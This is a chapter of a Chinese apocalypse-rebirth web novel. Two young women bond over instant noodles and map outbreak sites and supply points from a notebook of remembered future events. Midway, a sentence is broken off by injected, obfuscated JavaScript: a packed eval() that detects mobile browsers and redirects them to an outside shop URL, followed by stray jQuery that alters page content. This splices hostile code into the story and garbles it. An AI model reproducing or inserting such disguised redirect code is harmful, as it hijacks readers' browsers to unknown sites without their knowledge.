林知晓看着她。
这个瘦小的女孩瘫坐在一堆物资中间，头发乱糟糟的，眼眶发青，嘴唇有点干裂。明明才二十出头，看起来却像熬了好几年。
静默持续了半分钟。
“我想知道，关于我，或者说关于我们，你还记得什么？”林知晓说。
温枝低下头，不知道是在思考是否回答还是在回忆。
林知晓等着。
“我不太记得了。”温枝终于开口，声音闷闷的，“很多事情都忘了。但……”
她抬头看了林知晓一眼，又低下。
“和你说话的时候，很自然。”
林知晓愣了一下。
“我也不知道为什么。”温枝的手指抠着地板缝，“就是……感觉应该相信你。”
她顿了顿。
“也许上辈子我们真的认识吧。”
林知晓沉默了一会儿。
“我也觉得。”她说，“你昨天跟我说那些话的时候，我居然很快就完全接受了，潜意识里一点都没觉得奇怪。”
她顿了顿。
“好像本来就该这样。”
两人沉默了一会儿。
温枝从地上爬起来，拍了拍裤子上的灰，走到墙边，从一堆物资里翻出一桶泡面，扔给林知晓。
“先吃饭。”她说，“如果你还想听，吃完我再跟你说。”
林知晓接住，看了看包装——藤椒牛肉味的。
她莫名笑起来，带着某种荒谬的确认。
“你不是说时间不多吗？”
“时间是不多。”温枝又扔给她一瓶水，“但也不差这一顿饭。”
她在林知晓旁边坐下，拧开自己的那瓶水，喝了一口。
林知晓突然想起来，还没告诉温枝自己的名字。
“我叫林知晓。”她忽然开口。
温枝回过头，愣了一下。
“林、知、晓。”她念了一遍，歪着头想了想，“这个名字……我好像真的听过。”
林知晓心里一紧。
“有想起来什么吗？”
温枝皱着眉想了很久，最后摇了摇头。
“想不起来了。只是觉得熟悉。”她手里拿着另一桶泡面，正慢慢地揭开外面的塑料膜。
林知晓拿起桌边的热水壶，往泡面桶里倒水，然后看着她。
温枝很快也加完调料包，从善如流地把自己那份递到她面前让她倒开水。
倒完后两个人皆是一愣。
林知晓想说些什么，而对方已经转过身去，继续翻着另一个纸箱，嘴里念叨着什么“水还不够”“得再买点药”“对了还有防身的工具”……
林知晓低下头，泡面盖上的图标发呆。
没一会儿，香味飘出来，两个人静默地嗦着泡面。
她们吃得很快。
吃完，林知晓把泡面桶扔进垃圾桶，抬起头，发现温枝正盯着自己。
“怎么了？”
温枝没说话。她站起来，走到窗边，把窗帘拉开一条缝，往外看了看。
然后她走回来。
“你跟我来。”
她带着林知晓穿过客厅，走进里屋。房间里摆满了书架，角落放着一张书桌。
温枝关上门。
她站在门口，没往里走。
她说：“我刚才一直在想，要不要让你进来。”
林知晓没说话。
“上辈子我信错过人。”温枝的声音很轻，“信到最后，被人推出去挡丧尸。”
她顿了顿。
“但我又想，如果这辈子还是一个人，哪怕死去也不会有人记得我，太绝望、太无力了。”
她抬起头，看着林知晓。
“所以我赌一次。”
她走到书桌前，拉开抽屉，拿出一本笔记本，递给林知晓。
本子很旧，但字迹却很新，林知晓翻开。第一页写着日期，三个月后的某一天。下面列着：城东生物实验室，城西超市，郊区水库。往后翻，全是类似的记录。最后一页只有三个名字：付成瑾，江黎黎，温枝。温枝的名字被一道横线划掉了。
林知晓合上本子，抬头看她。
温枝站在那儿，两只手攥着卫衣下摆。
“这上面写的你都记得？”
“大部分。”
“没想过自己跑？”
温枝忽然笑了一下，很淡：“一个人能跑多远？况且……我没有钱。
林知晓沉默了几秒，把笔记本还给她。
“我有。”她说。
温枝愣了一下。
“钱我有。”林知晓说，“房子也能卖。我全职写作，攒了点，不多，但够用。”
温枝看着她，没说话。
“要做什么？”林知晓站起来，“走吧，从哪开始？
对面的女孩看起来被惊得说不出话了，半晌也没见回应。
只见她吞了口唾沫，颇为艰难问：“……为什么？为什么帮我？”
“帮你？不算帮你吧，也是帮我自己。”林知晓转过头来，朝她微微笑着，“你不是说末世就要来了吗？哪怕你说的都是假的，那我也赌一回嘛。”
阳光从窗帘的缝隙洒进来，落在她身上，像渡了一层光衣。
温枝被那道光刺得几乎要落泪。
温枝看着她，张了张嘴，想说什么，但没说出来。
房间里很安静。窗外有车驶过，声音远远地传进来，像是另一个世界。
“走吧。”她说。
“去哪？”
“先把你这个笔记本上的东西理一遍。”林知晓指了指那本笔记本，“哪些是确定记得的，哪些是模糊的，哪些是你已经去踩过点的。然后——列个清单，看看还缺什么。”
温枝看着她，没动。
林知晓回过头。
“怎么了？”
温枝低下头，沉默了几秒。
“我刚才说，我是在赌。”她的声音很轻，“但赌之前，我其实已经知道结果了。”
林知晓等着她说下去。
“从你在巷子里看着我的时候，”温枝抬起头，“我就知道，你会来。”
林知晓没说话。
温枝也没再解释。
她走到书桌前，把笔记本翻开，推到林知晓面前。
“第一页。”她说，“城东生物实验室。这是我记得最清楚的——末世第一天，这里最先出事。”
林知晓坐下来，看着那页纸。
“你进去过吗？”
“没有。”温枝说，“但我知道位置。也知道它大概什么时候……”
她顿了顿。
“什么时候爆发。”
林知晓抬头看她。
“你意思是——”
“我们还有时间。”温枝说，“但不多。”
……
一整天，她们把那本笔记本从头到尾过了一遍。
温枝的记忆比她自己以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323994|199118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为的清晰。有些地方她能说出具体日期，有些地方只能说出“大概在那片区域”。林知晓拿手机地图一个一个标出来，用不同颜色标注：红色是爆发点，绿色是物资点，蓝色是曾经的安全区。
标到一半，林知晓忽然问：“这些安全区，你待过几个？”
温枝沉默了一会儿。
“三个。”她说，“第一个待了两个月，被冲散了。第二个待了半年，物资耗尽。第三个……”
她没往下说。林知晓也没问。
良久，林知晓突然开口道：“如果可以的话，我希望在末世到来之前，能为它做些什么。”
温枝微微张嘴，明白了她的意思。然后她听见自己说：“……好。”
窗外天快黑了。温枝站起来，打开灯。灯光照亮那一桌子的地图和笔记，也照亮她们两个人的脸。
“你今天先回去吧。”温枝说，“这些东西，明天再理。”
林知晓看了看时间——已经下午六点多了。
她站起来，拿起包。
走到门口，她忽然停下来。
“温枝。”
温枝回过头。
“你昨晚没睡，”林知晓说，“今晚能睡着吗？”
温枝愣了一下。
“不知道。”她说实话。
林知晓沉默了两秒。
“试试吧，”她说，“我明天还会再来的。”
她拿起包，径直走向门口。随后，像是突然想起什么，回头望着温枝，眨了眨眼睛说：“明天见。”
温枝愣愣回答，“……明天…见。”
她拉开门，走了出去。
楼道里很暗，声控灯亮了一下，又灭了。她走下楼梯，走到一楼，推开门，走进夜色里。
风有点凉。她站在楼下，回头看了一眼五楼那扇窗。
窗帘拉着，但能看见里面亮着灯。
她站了几秒，然后转身往地铁站走。
回去的路上，林知晓一直在想那本笔记本。
那些日期，那些地点，那些被划掉的名字。
温枝说她是被推出去挡丧尸的。推她的人叫付成瑾，旁边站着江黎黎。
未婚夫。最好的朋友。
林知晓想象不出那是什么感觉。但她想起温枝说那句话时的语气，沉寂的，就像死火山。
是什么样的人让她变成这样的呢？
她忽然很想见见这两个人。
不是现在。是以后。等末世真的来了，等她们都活着，如果有机会——
林知晓晃了晃脑袋，不知道自己为什么会这么想。
地铁到站了。她下车，出站，走回小区。
电梯门打开的时候，她下意识往对面看了一眼。邻居的门关着，门缝里没透出光。
她收回目光，踏进了自家房门。
站在玄关里，她没有开灯，大脑放空，回想着这两天发生的一切。
这时，手机震了。温枝发来微信：“到家了？”
她回：“到了。”
温枝：“你明天还来吗？”
林知晓看着那四个字，笑了。
“来。把那个口味的泡面再备一桶。”
发完之后，她走了两步，把手机扣在茶几上，整个人砸进沙发，进行长达三十分钟的休养生息。
窗外有车驶过，灯光在天花板上划了一道，然后消失。
她翻了个身，盯着天花板，心里诸多感慨，却又难以描述。